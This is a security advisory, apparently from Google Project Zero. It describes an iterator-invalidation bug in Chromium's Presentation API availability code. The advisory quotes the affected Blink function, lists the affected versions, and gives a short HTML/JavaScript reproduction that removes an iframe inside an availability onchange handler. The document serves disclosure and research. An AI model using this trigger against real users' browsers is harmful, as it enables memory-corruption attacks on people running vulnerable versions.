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VULNERABILITY DETAILS
void PresentationAvailabilityState::UpdateAvailability(
const KURL& url,
mojom::blink::ScreenAvailability availability){[...]{//Set|iterating_listeners_| so we know not to allow modifications
// to |availability_listeners_|.
base::AutoReset<bool> iterating(&iterating_listeners_, true);for(auto& listener_ref : availability_listeners_){
auto* listener = listener_ref.get();if(!listener->urls.Contains<KURL>(url))continue;
auto screen_availability = GetScreenAvailability(listener->urls);
DCHECK(screen_availability != mojom::blink::ScreenAvailability::UNKNOWN);for(auto* observer : listener->availability_observers)
observer->AvailabilityChanged(screen_availability);//***1***[...]
`PresentationAvailabilityObserver::AvailabilityChanged` might call a user-defined JS event handler,
which in turn might modify `availability_observers` and invalidate the `for` loop's iterator.
VERSION
Chromium 74.0.3729.0 (Developer Build) (64-bit)
Chromium 76.0.3789.0 (Developer Build) (64-bit)
REPRODUCTION CASE
Note that you need an extra display connected to your machine to reproduce the bug, otherwise
`UpdateAvailability` won't be called.-->
<body>
<script>
frame = document.body.appendChild(document.createElement("iframe"));
request = new frame.contentWindow.PresentationRequest([location]);
request.getAvailability().then(availability => {
availability.onchange = () => frame.remove();});
</script>
</body>
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CREDIT INFORMATION
Sergei Glazunov of Google Project Zero.-->
